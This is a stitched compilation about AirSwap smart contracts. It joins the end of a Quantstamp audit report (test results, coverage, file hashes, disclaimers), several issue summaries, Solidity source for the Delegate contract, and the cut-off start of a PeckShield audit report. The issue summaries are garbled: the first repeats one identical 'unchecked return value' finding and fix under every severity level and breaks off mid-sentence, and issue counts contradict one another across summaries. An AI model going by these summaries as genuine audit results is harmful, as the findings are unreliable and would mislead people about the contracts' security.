✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/swap/contracts/Swap.sol"; import "@airswap/indexer/contracts/Indexer.sol"; import "@airswap/delegate-factory/contracts/DelegateFactory.sol"; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {} /* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "@airswap/delegate/contracts/interfaces/IDelegate.sol"; import "@airswap/indexer/contracts/interfaces/IIndexer.sol"; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; /** * @title Delegate: Deployable Trading Rules for the Swap Protocol * @notice Supports fungible tokens (ERC-20) * @dev inherits IDelegate, Ownable uses SafeMath library */ contract Delegate is IDelegate, Ownable { using SafeMath for uint256; // The Swap contract to be used to settle trades ISwap public swapContract; // The Indexer to stake intent to trade on IIndexer public indexer; // Maximum integer for token transfer approval uint256 constant internal MAX_INT = 2**256 - 1; // Address holding tokens that will be trading through this delegate address public tradeWallet; // Mapping of senderToken to signerToken for rule lookup mapping (address => mapping (address => Rule)) public rules; // ERC-20 (fungible token) interface identifier (ERC-165) bytes4 constant internal ERC20_INTERFACE_ID = 0x277f8169; /** * @notice Contract Constructor * @dev owner defaults to msg.sender if delegateContractOwner is provided as address(0) * @param delegateSwap address Swap contract the delegate will deploy with * @param delegateIndexer address Indexer contract the delegate will deploy with * @param delegateContractOwner address Owner of the delegate * @param delegateTradeWallet address Wallet the delegate will trade from */ constructor( ISwap delegateSwap, IIndexer delegateIndexer, address delegateContractOwner, address delegateTradeWallet ) public { swapContract = delegateSwap; indexer = delegateIndexer; // If no delegate owner is provided, the deploying address is the owner. if (delegateContractOwner != address(0)) { transferOwnership(delegateContractOwner); } // If no trade wallet is provided, the owner's wallet is the trade wallet. if (delegateTradeWallet != address(0)) { tradeWallet = delegateTradeWallet; } else { tradeWallet = owner(); } // Ensure that the indexer can pull funds from delegate account. require( IERC20(indexer.stakingToken()) .approve(address(indexer), MAX_INT), "STAKING_APPROVAL_FAILED" ); } /** * @notice Set a Trading Rule * @dev only callable by the owner of the contract * @dev 1 senderToken = priceCoef * 10^(-priceExp) * signerToken * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @param maxSenderAmount uint256 Maximum amount of ERC-20 token the delegate would send * @param priceCoef uint256 Whole number that will be multiplied by 10^(-priceExp) - the price coefficient * @param priceExp uint256 Exponent of the price to indicate location of the decimal priceCoef * 10^(-priceExp) */ function setRule( address senderToken, address signerToken, uint256 maxSenderAmount, uint256 priceCoef, uint256 priceExp ) external onlyOwner { _setRule( senderToken, signerToken, maxSenderAmount, priceCoef, priceExp ); } /** * @notice Unset a Trading Rule * @dev only callable by the owner of the contract, removes from a mapping * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send */ function unsetRule( address senderToken, address signerToken ) external onlyOwner { _unsetRule( senderToken, signerToken ); } /** * @notice sets a rule on the delegate and an intent on the indexer * @dev only callable by owner * @dev delegate needs to be given allowance from msg.sender for the amountToStake * @dev swap needs to be given permission to move funds from the delegate * @param senderToken address Token the delgeate will send * @param senderToken address Token the delegate will receive * @param rule Rule Rule to set on a delegate * @param amountToStake uint256 Amount to stake for an intent */ function setRuleAndIntent( address senderToken, address signerToken, Rule calldata rule, uint256 amountToStake ) external onlyOwner { _setRule( senderToken, signerToken, rule.maxSenderAmount, rule.priceCoef, rule.priceExp ); // Transfer the staking tokens from the sender to the Delegate. if (amountToStake > 0) { require( IERC20(indexer.stakingToken()) .transferFrom(msg.sender, address(this), amountToStake), "STAKING_TRANSFER_FAILED" ); } indexer.setIntent( signerToken, senderToken, amountToStake, bytes32(uint256(address(this)) << 96) //NOTE: this will pad 0's to the right ); } /** * @notice unsets a rule on the delegate and removes an intent on the indexer * @dev only callable by owner * @param senderToken address Maker token in the token pair for rules and intents * @param signerToken address Taker token in the token pair for rules and intents */ function unsetRuleAndIntent( address senderToken, address signerToken ) external onlyOwner { _unsetRule(senderToken, signerToken); // Query the indexer for the amount staked. uint256 stakedAmount = indexer.getStakedAmount(address(this), signerToken, senderToken); indexer.unsetIntent(signerToken, senderToken); // Upon unstaking, the Delegate will be given the staking amount. // This is returned to the msg.sender. if (stakedAmount > 0) { require( IERC20(indexer.stakingToken()) .transfer(msg.sender, stakedAmount),"STAKING_TRANSFER_FAILED" ); } } /** * @notice Provide an Order * @dev Rules get reset with new maxSenderAmount * @param order Types.Order Order a user wants to submit to Swap. */ function provideOrder( Types.Order calldata order ) external { Rule memory rule = rules[order.sender.token][order.signer.token]; require(order.signer.wallet == msg.sender, "SIGNER_MUST_BE_SENDER"); // Ensure the order is for the trade wallet. require(order.sender.wallet == tradeWallet, "INVALID_SENDER_WALLET"); // Ensure the tokens are valid ERC20 tokens. require(order.signer.kind == ERC20_INTERFACE_ID, "SIGNER_KIND_MUST_BE_ERC20"); require(order.sender.kind == ERC20_INTERFACE_ID, "SENDER_KIND_MUST_BE_ERC20"); // Ensure that a rule exists. require(rule.maxSenderAmount != 0, "TOKEN_PAIR_INACTIVE"); // Ensure the order does not exceed the maximum amount. require(order.sender.param <= rule.maxSenderAmount, "AMOUNT_EXCEEDS_MAX"); // Ensure the order is priced according to the rule. require(order.sender.param == order.signer.param .mul(10 ** rule.priceExp).div(rule.priceCoef), "PRICE_INCORRECT"); // Overwrite the rule with a decremented maxSenderAmount. rules[order.sender.token][order.signer.token] = Rule({ maxSenderAmount: (rule.maxSenderAmount).sub(order.sender.param), priceCoef: rule.priceCoef, priceExp: rule.priceExp }); // Perform the swap. swapContract.swap(order); emit ProvideOrder( owner(), tradeWallet, order.sender.token, order.signer.token, order.sender.param, rule.priceCoef, rule.priceExp ); } /** * @notice Set a new trade wallet * @param newTradeWallet address Address of the new trade wallet */ function setTradeWallet(address newTradeWallet) external onlyOwner { require(newTradeWallet != address(0), "TRADE_WALLET_REQUIRED"); tradeWallet = newTradeWallet; } /** * @notice Get a Signer-Side Quote from the Delegate * @param senderParam uint256 Amount of ERC-20 token the delegate would send * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @return uint256 signerParam Amount of ERC-20 token the consumer would send */ function getSignerSideQuote( uint256 senderParam, address senderToken, address signerToken ) external view returns ( uint256 signerParam ) { Rule memory rule = rules[senderToken][signerToken]; // Ensure that a rule exists. if(rule.maxSenderAmount > 0) { // Ensure the senderParam does not exceed maximum for the rule. if(senderParam <= rule.maxSenderAmount) { signerParam = senderParam .mul(rule.priceCoef) .div(10 ** rule.priceExp); // Return the quote. return signerParam; } } return 0; } /** * @notice Get a Sender-Side Quote from the Delegate * @param signerParam uint256 Amount of ERC-20 token the consumer would send * @param signerToken address Address of an ERC-20 token the consumer would send * @param senderToken address Address of an ERC-20 token the delegate would send * @return uint256 senderParam Amount of ERC-20 token the delegate would send */ function getSenderSideQuote( uint256 signerParam, address signerToken, address senderToken ) external view returns ( uint256 senderParam ) { Rule memory rule = rules[senderToken][signerToken]; // Ensure that a rule exists. if(rule.maxSenderAmount > 0) { // Calculate the senderParam. senderParam = signerParam .mul(10 ** rule.priceExp).div(rule.priceCoef); // Ensure the senderParam does not exceed the maximum trade amount. if(senderParam <= rule.maxSenderAmount) { return senderParam; } } return 0; } /** * @notice Get a Maximum Quote from the Delegate * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @return uint256 senderParam Amount the delegate would send * @return uint256 signerParam Amount the consumer would send */ function getMaxQuote( address senderToken, address signerToken ) external view returns ( uint256 senderParam, uint256 signerParam ) { Rule memory rule = rules[senderToken][signerToken]; // Ensure that a rule exists. if(rule.maxSenderAmount > 0) { // Return the maxSenderAmount and calculated signerParam. return ( rule.maxSenderAmount, rule.maxSenderAmount.mul(rule.priceCoef).div(10 ** rule.priceExp) ); } return (0, 0); } /** * @notice Set a Trading Rule * @dev only callable by the owner of the contract * @dev 1 senderToken = priceCoef * 10^(-priceExp) * signerToken * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @param maxSenderAmount uint256 Maximum amount of ERC-20 token the delegate would send * @param priceCoef uint256 Whole number that will be multiplied by 10^(-priceExp) - the price coefficient * @param priceExp uint256 Exponent of the price to indicate location of the decimal priceCoef * 10^(-priceExp) */ function _setRule( address senderToken, address signerToken, uint256 maxSenderAmount, uint256 priceCoef, uint256 priceExp ) internal { rules[senderToken][signerToken] = Rule({ maxSenderAmount: maxSenderAmount, priceCoef: priceCoef, priceExp: priceExp }); emit SetRule( owner(), senderToken, signerToken, maxSenderAmount, priceCoef, priceExp ); } /** * @notice Unset a Trading Rule * @dev only callable by the owner of the contract, removes from a mapping * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send */ function _unsetRule( address senderToken, address signerToken ) internal { // Delete the rule. delete rules[senderToken][signerToken]; emit UnsetRule( owner(), senderToken, signerToken ); } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . 